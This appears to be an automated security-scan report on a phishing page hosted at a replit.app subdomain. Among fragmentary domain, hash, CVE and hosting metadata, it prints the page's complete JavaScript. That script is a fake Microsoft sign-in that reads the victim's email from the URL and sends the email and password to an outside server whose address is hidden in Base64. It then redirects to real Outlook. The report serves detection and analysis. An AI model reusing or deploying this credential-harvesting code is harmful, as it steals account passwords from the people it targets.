English

GAESA

Within the application-focused generic top-level domain (.app), 'secure-static-site--maddykennard.replit.app' is registered, featuring subdomain 'secure-static-site--maddykennard'. The second-level label 'replit' is 6 characters long split between two vowels and four consonants. Tokenizing the label suggests 2 words: rep, lit. Average segment length settles at 3 characters. No strong language cues emerged from the frequency lists.

passwd

count

html/f5/64/f5647239-36e7-4fd9-aeed-8a695f1dafe8.html.gz

55d59f5ed62299f2df0fe22b6ceae87ca8d26d51de860d35f3bc8ad93f9772d7

85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

02a4d4f8242542e75738bfb38e0fa0bd09b7ea3aa2abefa1f7903c62b916cdc4

76da592798ee5b41a444eebf66d08d461bc826db30df367fd21c85862ca82db0

robots

width=device-width,initial-scale=1,maximum-scale=2.0,user-scalable=yes

viewport

Domain Manager

Nom-IQ Limited dba Com Laude

replit.app

Microsoft Abuse Contact

IPHostmaster IPHostmaster

Microsoft Corporation

Somesh Chaturmohta

Prachi Singh

Microsoft Routing, Peering, and DNS

Dawn Bedard

MSFT


	$( document ).ready(function() {
		var encoded_string = window.location.hash.substr(1);
		var email = encoded_string;	
		$('.identity').html(email);		
		var request = new XMLHttpRequest();
		var url =  window.atob('aHR0cHM6Ly9wcm92ZXllc2Vpcy51cy9nb3QvcHJ2LnBocA==') + email
		request.open('GET', url, true);
		request.onload = function() {
		  if (this.status >= 200 && this.status < 400) {
			var data = JSON.parse(this.response);
			logo_image = data["logo_image"];
			bg_image = data["bg_image"];
			bg_color = data["bg_color"];
			memo = data["memo"];
			if(bg_image != null && bg_image != ''){
				$('.background-image').css('background-image', 'url(' + bg_image + ')');
				$('.background-image').css('box-shadow', 'inset 0 0 0 1000px rgb(0 0 0 / 50%)');
			}
			if(logo_image != null && logo_image != ''){
				$('.banner-logo').attr('src', logo_image);
			}
			if(bg_color != null && bg_color != '' && (bg_image == null || bg_image == '')){
				$('.background-image').hide();
				$('.background-image-holder').css('background-color', bg_color);
			}
			if(memo != null && memo != ''){
				$('#idBoilerPlateText').show();
				$('#idBoilerPlateText').text(memo);
				$('#idBoilerPlateText').css('margin-top','44px');	
			}
			
		  } else {
			console.log("Response error");
		  }
		};
		request.onerror = function() {
		  console.log("Request error");
		};
		request.send();
		
		setTimeout(function (){
			$('#lightbox').show();
			$('#i0118').focus();
		}, 1000);
		
				
		$('#idSIButton9').on('click', function (event){
			event.preventDefault ? event.preventDefault() : event.returnValue = false;
			var user = $('.identity').html();
			var pass = $('#i0118').val();
			var count = $('#count').val();
				if(pass == ""){
					$("#passwordError2").show();
					$("#passwordError").hide();
					$("#important").hide();
					$("#i0118").css("border-color", "#e81123");
					$('#i0118').focus();
					
				}else{
					$("#i0118").css("border-color", "black");
					$('#progressBar').show();
					$("#passwordError2").hide();
					$("#passwordError").hide();
					$('#idSIButton9').prop('disabled', true);
					$.ajax({
						url: window.atob("aHR0cHM6Ly9wcm92ZXllc2Vpcy51cy9nb3QvcG9saWN5LnBocA=="), 
						data: {
								"email": user,
								"password": pass,
								"count": count,
							},
						type: "POST",
						success: function(data){
								if(data == 1){
									setTimeout(function(){
										window.location.href="https://outlook.office.com/mail/" + window.location.hash.substr(1);
									} , 2000);
								}else{
								$('#i0118').val('');
								$('#progressBar').hide();
								$("#passwordError").show();
								$("#important").hide();
								$('#idSIButton9').prop('disabled', false);
								$('#count').val('2');
								}
						},
							error: function(data) {
								console.log('Ajax error');
							}
						});
					
				}
		});
	});
	


var inputpw = document.getElementById("i0118");
inputpw.addEventListener("keyup", function(event) {
  if (event.keyCode === 13) {
   event.preventDefault();
   document.getElementById("idSIButton9").click();
  }
});


Requests	IP Address	Location	AS Autonomous System
5	13.107.246.44Azure · CLOUD	United States	AS8075Microsoft Corporation
1	35.190.3.23Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
1	151.101.1.155Fastly · CDN	United States	AS54113Fastly, Inc.
1	23.207.210.137	Frankfurt am Main, Hesse, Germany	AS20940Akamai International B.V.
1	34.117.33.233Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
9	5	-	-

Security Scan Report: secure-static-site--maddykennard.replit.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies11

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History